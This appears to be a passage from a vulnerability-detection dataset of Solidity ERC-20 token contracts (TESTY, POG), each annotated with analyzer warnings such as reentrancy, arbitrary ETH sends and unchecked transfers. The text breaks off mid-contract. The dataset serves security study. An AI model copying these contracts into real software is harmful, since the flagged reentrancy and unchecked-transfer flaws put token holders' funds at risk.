{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TESTY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0cea66d): TESTY._taxWallet should be immutable \n\t// Recommendation for 0cea66d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b0b823): TESTY._initialBuyTax should be constant \n\t// Recommendation for 8b0b823: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4fab085): TESTY._initialSellTax should be constant \n\t// Recommendation for 4fab085: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9ee9c7): TESTY._finalBuyTax should be constant \n\t// Recommendation for c9ee9c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d5cda1): TESTY._finalSellTax should be constant \n\t// Recommendation for 2d5cda1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 89e2a49): TESTY._reduceBuyTaxAt should be constant \n\t// Recommendation for 89e2a49: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: b72e727): TESTY._reduceSellTaxAt should be constant \n\t// Recommendation for b72e727: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2895f33): TESTY._preventSwapBefore should be constant \n\t// Recommendation for 2895f33: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TESTY\";\n\n string private constant _symbol = unicode\"TESTY\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37cfc45): TESTY._taxSwapThreshold should be constant \n\t// Recommendation for 37cfc45: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79d868e): TESTY._maxTaxSwap should be constant \n\t// Recommendation for 79d868e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 87d2948): TESTY.uniswapV2Router should be immutable \n\t// Recommendation for 87d2948: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 51a63cf): TESTY.uniswapV2Pair should be immutable \n\t// Recommendation for 51a63cf: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: e180a80): TESTY.sellsPerBlock should be constant \n\t// Recommendation for e180a80: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1b3122): TESTY.buysFirstBlock should be constant \n\t// Recommendation for e1b3122: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 867f3aa): TESTY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 867f3aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: fd0ac7c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for fd0ac7c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 13edcce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 13edcce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: fd0ac7c\n\t\t// reentrancy-benign | ID: 13edcce\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: fd0ac7c\n\t\t// reentrancy-benign | ID: 13edcce\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 944433d): TESTY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 944433d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 13edcce\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: fd0ac7c\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f98708f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f98708f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1cf3e75): TESTY._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 1cf3e75: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b261be5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b261be5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c56e760): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c56e760: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 1cf3e75\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: f98708f\n\t\t\t\t// reentrancy-eth | ID: b261be5\n\t\t\t\t// reentrancy-eth | ID: c56e760\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f98708f\n\t\t\t\t\t// reentrancy-eth | ID: b261be5\n\t\t\t\t\t// reentrancy-eth | ID: c56e760\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b261be5\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b261be5\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: f98708f\n\t\t\t\t// reentrancy-eth | ID: c56e760\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f98708f\n\t\t\t\t\t// reentrancy-eth | ID: c56e760\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c56e760\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f98708f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c56e760\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c56e760\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f98708f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f98708f\n\t\t// reentrancy-events | ID: fd0ac7c\n\t\t// reentrancy-benign | ID: 13edcce\n\t\t// reentrancy-eth | ID: b261be5\n\t\t// reentrancy-eth | ID: c56e760\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 8c635e4): TESTY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 8c635e4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f98708f\n\t\t// reentrancy-events | ID: fd0ac7c\n\t\t// reentrancy-eth | ID: b261be5\n\t\t// reentrancy-eth | ID: c56e760\n\t\t// arbitrary-send-eth | ID: 8c635e4\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: fdc2a4c): TESTY.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for fdc2a4c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: fdc2a4c\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc5d6ca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc5d6ca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f54820e): TESTY.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f54820e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ff1c4c6): TESTY.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ff1c4c6: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7b54e2f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7b54e2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: dc5d6ca\n\t\t// unused-return | ID: ff1c4c6\n\t\t// reentrancy-eth | ID: 7b54e2f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: dc5d6ca\n\t\t// unused-return | ID: f54820e\n\t\t// reentrancy-eth | ID: 7b54e2f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: dc5d6ca\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7b54e2f\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: dc5d6ca\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n", "file_name": "solidity_code_10349.sol", "size_bytes": 23058, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract POG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 302c0c1): POG._taxWallet should be immutable \n\t// Recommendation for 302c0c1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 300c60c): POG._initialBuyTax should be constant \n\t// Recommendation for 300c60c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9811a32): POG._initialSellTax should be constant \n\t// Recommendation for 9811a32: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6bba8dd): POG._finalBuyTax should be constant \n\t// Recommendation for 6bba8dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7677710): POG._finalSellTax should be constant \n\t// Recommendation for 7677710: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9757e56): POG._reduceBuyTaxAt should be constant \n\t// Recommendation for 9757e56: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1b317a): POG._reduceSellTaxAt should be constant \n\t// Recommendation for f1b317a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 26;\n\n\t// WARNING Optimization Issue (constable-states | ID: 104fa12): POG._preventSwapBefore should be constant \n\t// Recommendation for 104fa12: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"POG\";\n\n string private constant _symbol = unicode\"POG\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ad21ff): POG._taxSwapThreshold should be constant \n\t// Recommendation for 7ad21ff: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4377ddb): POG._maxTaxSwap should be constant \n\t// Recommendation for 4377ddb: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee46): POG.caBlockLimit should be constant \n\t// Recommendation for 49eee46: Add the 'constant' attribute to state variables that never change.\n uint256 public caBlockLimit = 2;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: efac068): POG.caLimit should be constant \n\t// Recommendation for efac068: Add the 'constant' attribute to state variables that never change.\n bool public caLimit = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92e2e91): POG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 92e2e91: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3b5775f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3b5775f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c0f6e90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c0f6e90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3b5775f\n\t\t// reentrancy-benign | ID: c0f6e90\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3b5775f\n\t\t// reentrancy-benign | ID: c0f6e90\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f3475ac): POG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f3475ac: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c0f6e90\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3b5775f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1cd25e5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1cd25e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 399dab4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 399dab4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 16f9857): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 16f9857: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer 